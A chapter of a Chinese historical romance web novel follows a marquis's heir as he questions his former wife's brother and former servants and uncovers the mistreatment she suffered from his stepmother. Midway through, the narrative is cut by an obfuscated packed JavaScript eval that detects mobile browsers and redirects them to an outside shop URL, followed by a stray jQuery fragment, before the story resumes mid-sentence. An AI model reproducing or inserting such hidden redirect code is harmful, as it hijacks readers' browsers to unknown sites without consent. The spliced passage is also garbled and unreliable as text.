沈玉珩直觉他和冬青的和离并没有那么简单,他们姐弟二人从侯府离开后又发生了什么?
但冬青的态度很明显,对过往的事只字不提,他若问她决计得不到任何答案。或许,他可以尝试从阿轩嘴里套话?
这日,阿轩刚出学堂,就见门外站着一人,长身玉立、气质出尘,真是好一个翩翩贵公子,可惜却是个冷心冷情之人。
他目不斜视,脚步不曾停顿,旁若无人一般直直往前走。
沈玉珩无奈,大声唤道:“阿轩!”
阿轩脚下不停,仿佛没有听见一般。
沈玉珩只好快步追上去,拦住他的去路,“阿轩,我们能谈谈吗?”口吻略带恳求。
阿轩终于停下,冷冷地看着他。
沈玉珩斟酌后才说:“我一直想问,你们离开侯府后发生了什么事?你阿姐走之前,我明明给了她足够的银钱,她为何要到南市摆摊?你又是何时到了明德学堂读书的?”
“我知道她不会告诉我的,所以我今天才会来找你。”他顿了顿又说。
阿轩反问:“你以为我就会告诉你吗?从前我叫你玉珩哥哥,可自从离开侯府那一刻,我跟阿姐一样,只当你是陌生人。”
“你是不是一直都认为,我阿姐是为了侯府的钱财和地位才会嫁给你?你一直认定她就是个贪图富贵的虚荣女子,所以才会在你们和离时给她钱。”
“你应该很得意吧?妻子主动要和离,你作为无辜的一方,反而为对方考虑,这显得你多么大度啊!其实我们压根不稀罕你的臭钱,我们姐弟二人到底发生了什么也根本不关你的事!”
“阿姐嫁进侯府一年,你都对她不闻不问,一封家书都无。你从南方回来,府中所有人都有礼物,就她没有。在她最需要的时候你对她视而不见,现在又何必假模假样来充好人?”
“你根本配不上我阿姐当初那样费尽心力甚至掏空家财的救你,我们现在只希望和你桥归桥路归路,再无瓜葛!”
沈玉珩眼中满是震惊,难道她没拿那钱?可她当时明明当着他的面收下了。
阿轩虽然没有具体说当时到底发生了什么,但他从阿轩的只言片语中,似乎摸到了一点真相的影子。随之而来的,就是更多的谜团和疑问。也让他明白了,从她嫁进侯府那一刻,他或许就在带着偏见看她。
他想再追问,但在阿轩一声声的质问下根本说不出话。
“我……我知晓了。过去很多事我并不知情,我和她之间或许存在很多误会……我想知道当时到底发生了什么,如果是我的错,我绝不会推脱,我会尽我最大的可能弥补她……”
阿轩打断他,“我阿姐说过,过去的事她早就忘了,现在的她只想安安心心过日子。我们根本不稀罕你的补偿,我以后自会考取功名给我阿姐体面。至于过去的事,你不必再来问我,更不用找我阿姐,如果你真有心,何不自己去查?”
阿轩走后,沈玉珩默默在原地站了很久。良久,他才问福安:“你还记得少夫人说要和离的那晚吗?”
“当然记得。那晚我听到这个消息时简直不敢相信,跟您回话时都小心翼翼的。”
沈玉珩又问:“你还记得当时来传话的丫头叫什么吗?”
已经过去四年,福安早已记不清那丫头的脸了,仔细回想了下才有个模糊的印象,好像是叫流花还是流树来着?
福安不敢确认,突然想起一人。他认得在马厩做事的大柱,他老娘本是厨房的二等管事婆子,后来不知怎么就成了少夫人院子里的管事妈妈。若去问她,指定能知道传话的丫头叫什么名字。
厨房的二等管事婆子?这样的人怎么能做堂堂世子夫人屋里的管事妈妈?冬青没有陪嫁妈妈,照理说,何氏应该从她院里选一位熟悉府内事务的嬷嬷,怎么会给她安排了这样一个人?他这位继母,到底是何居心?
沈玉珩暂且按下心头的疑问,继续问道:“清涵院可还有其他管事妈妈吗?”
福安摇头,“这我就不知了。”他犹豫了下才又说:“虽然小的一直跟世子爷您在外院行走,但也多多少少听了些下人们之间的闲话。经常议论少夫人的出身,说她出身低贱,还说您从来不去清涵院,少夫人就是……就是……在守活寡……”
眼看沈玉珩眼中泛起冷意,说到后面,福安声音越来越小。
沈玉珩一双手握的快要碎掉,眸中一片寒意。可说来说去,他又能怪谁,这一切的始作俑者不正是他吗?她受到的每一句非议和嘲笑,都是他带来的。
时隔了四年,他才开始心疼,她当年在侯府到底过的是什么日子!
只是不知,这份迟来的怜惜,她还需要吗?
回到侯府,福安找来了李妈妈。
自从冬青走后,她又被安排回了厨房继续做二等管事婆子,差事比在清涵院多出几倍,月钱还变少了。本就满腹抱怨,谁曾想世子爷竟然遣了人找她,还以为自己得了世子爷青眼,当下喜不自胜,走起路来都猖狂了几分。
到知行居时,世子爷正坐在圈椅上喝茶,垂着眼帘,也不看她,神情淡淡地问:“以前少夫人还在清涵院时,可是你伺候?除了你还有何人?”
李妈妈恭敬答道:“回世子爷的话,是我和流苏还有流叶一起伺候。”
沈玉珩点头。
李妈妈见世子爷微微皱眉,从前世子爷就不喜那位,两人又已经和离,此番皱眉定然是因为提起那人心生厌恶。
她自以为拿捏住了沈玉珩心中所想,便自作聪明地说道:“说起这位前少夫人,世子爷可别怪老婆子我多嘴,她那样的出身,哪里配得上您这样高贵的身份!”
沈玉珩微微挑眉,道:“继续说。”
她专挑不好的说,一股脑说了一大通,见世子爷微笑着看她,以为猜中了他的心思,越发说得起劲。
“……她出身低、没见识,眼皮子也浅,居然还想在侯府种菜,真是乡下来的上不得台面!又不懂穿衣打扮,我不过是让她打扮隆重些,她居然将整副赤金头面戴了去,哪里像是侯府的世子夫人,分明是一副土财主暴发户模样……府里的下人都看不上她,还没等她走远就敢嘲笑讥讽……”
她没注意到,沈玉珩眼中的冷意快要结成冰,一个眼神就能将人刺穿。
沈玉珩打断她,又问:“你可还记得,当初来给少夫人传话说要和离的丫头是谁?还有忠勤伯府的梅花宴,是谁陪少夫人去的?”
李妈妈正说到兴处,却不知世子爷怎么突然问起这个问题,愣了一下才回话。
“哦,传话的应当是流叶吧,清涵院里只有她拿少夫人的话当回事。至于宴会,我记得很清楚,头天晚上明明定了流叶去,可第二天临走时她却突然腹痛,换成了流苏。流苏那丫头听说流叶要去忠勤伯府,嫉妒的眼睛都要冒火星子,这事指定跟她有关……”
李妈妈又舔着笑脸问:“世子爷今天传我来就是问这些事吗?”
沈玉珩似笑非笑,“那你以为呢?”
李妈妈笑的谄媚,道:“老婆子还以为是差事办的好,得了世子爷青眼,要打赏我呢!”
沈玉珩的手在高几上轻扣几声,“哦?福安是这样跟你说的?”
福安赶紧摇头,“世子爷,我没有……”
沈玉珩却道:“没错,是该赏。”
得了这话,李妈妈面上的喜意藏都藏不住,满脸期待的看着沈玉珩。
沈玉珩还在笑,但眼底却不见半分笑意。
“福安,你不是说她儿子在马厩做事吗?那就让她去马厩陪她儿子吧。唔,也不做别的,就让她清理马厩,铲铲马粪好了。”
李妈妈蜡黄的脸皮霎时变得惨白,扑到沈玉珩身前跪着哭喊:“世子爷,老奴是哪里错了?老婆子一把年纪,饶过老奴吧……”
沈玉珩终于沉下脸,声音冷厉:“来人,拖下去!”
很快李妈妈便被人捂着嘴拖了下去。
终于清静了!沈玉珩揉着眉心,吩咐福安:“到回事处问问,那两个丫头现在在哪个院子当差,找到后带来见我。”
流叶如今在浆洗房中做事,很快被带了过来。而流苏因为企图勾引沈龙飞,被何氏发卖了出去。
听到世子爷问起当年少夫人主动和离之事,流叶很是惊讶。当年少夫人还在时,世子爷便对她不闻不问,怎么反而在和离四年后问起这些事?
不过她一个下人,哪敢揣测主子的心思,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17499435|202660||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
便将知道的一一道来。
“当时少夫人从忠勤伯府回来就不对劲,总是心不在焉。那天晚上还被夫人叫到了雅馨院,回来时脸上还带着怒气,过了会就一个人默默坐着发呆,眼睛里死气沉沉的,到了三更天才熄灯睡下。”
忠勤伯府?当时在宴会上到底发生了什么事?张小姐落水一事是不是他冤枉了她?
沈玉珩又想起当时他听到她说的不屑于世子夫人之位的那些话,他直觉,在此之前定然还发生了其他事。
但流苏已被发卖,一时半会找不到人,这些事也无从得知。
还有雅馨院?何氏又为什么找她?
沈玉珩打断流叶,“你可知夫人对少夫人说了什么?”
流叶摇头,“传话的丫头说只让夫人一个人去,没让我跟着。”
沈玉珩浅浅点头,示意她继续说。
“从雅馨院回来的第二天,本该下学的时辰阿轩少爷却失踪不见了。少夫人刚开始还焦急不已,可后来却好像突然明白了什么,一个人去了雅馨院,也不要我跟着,去了小半个时辰才带着阿轩少爷回来了。回来后两人就关在房间说了好久的话,也不知到底说了些什么。第二天晚上,就吩咐我去外院找您了。”
又是雅馨院!何氏在这其中到底扮演了什么角色?阿轩的失踪是不是跟她有关?
“可她为什么不来找我?”沈玉珩哑着嗓子问。
“我也提过,可少夫人却好像根本没考虑过这个选择,直接就去了雅馨院。”
他突然想起她刚嫁过来时,她为了阿轩来外院找他,他却连缘由都不问就不耐烦地让她回去。她应当是从那时就对他死了心,再也不指望他了吧。
沈玉珩吩咐福安带流叶下去,并去回事处说一声,把她升为二等丫头,安排到寿萱堂做事。
流叶赶忙谢恩,临走时犹豫半晌,才道:“我一直跟在少夫人身边看的很清楚,少夫人心中定是喜欢世子爷的。当时您来找她一起看望老夫人,她立马就让我准备热茶点心,还打算换身衣裳迎您,她其实一直都在等您来清涵院。她还打算给您做护膝,可还没来得及,你们就和离了……”
“这府中除了阿轩少爷,没人对她好。所有人都说她攀上了高枝,一朝山鸡变凤凰。他们嘲笑她的出身,嘲笑她不得您喜爱……就连四小姐,也经常当着她的面故意说些话让她难堪。就因为我曾经伺候过少夫人,四小姐才会找了个由头,将我从她的倚兰轩赶到了浆洗房……少夫人她,在府中那一年的日子很是艰难……”
沈玉珩想起两人从寿萱堂出来经过清涵院时,她邀请他进去坐坐,他拒绝后她站在原地迟迟没有离开。当时不曾注意,现在想来,若那时他看她一眼,定然能看穿她故作的坚强和眼里掩不住的失望。
当时她明明是喜欢他的,可他却被偏见蒙蔽了双眼,漠视她,冷待她,让她一点一点寒了心。
本来,清溪村的那段时光亦让他对她动了心。可他却被流言所蛊惑,只恨自己曾对这样一个贪慕虚荣之人动过情,将那份动心全数化为厌弃和嫌恶。
他们之间,其实本不该是这般结局的。
他眼睫低垂,指节攥得泛白。他从未如此痛恨过去的自己,那时候的他为什么就不能多看看她呢!
沈玉珩问了流叶最后一个问题:“你可知少夫人走时有没有带走我给的那些银票?”
“银票?”流叶疑惑道,突然恍然大悟一般,“少夫人临走给了我一包银子,让我托关系找个好差事。又问永安城里有没有接收捐款的善堂,我便跟她说了养济院。她不会把银子捐出去了吧?”
他疲惫地挥了挥手,让福安带流叶下去。
一切都对上了,为什么她拿了那么多钱却还在南市摆摊,甚至为了生活跟人拼命。因为从始至终,她都没碰过他给的一文钱!
那时的她,到底是有多伤心、多失望,才会不顾一切,只为了和他彻底断绝关系!她要她的世界里,再没有沈玉珩这个人一丁点的存在!
他开始笑,那笑声透着苦,眸中的悔恨和悲伤满的快要溢出来。
良久,他眼神又变得狠厉,嘴角勾起一抹冷笑。
何氏!有些账是该好好算一算了。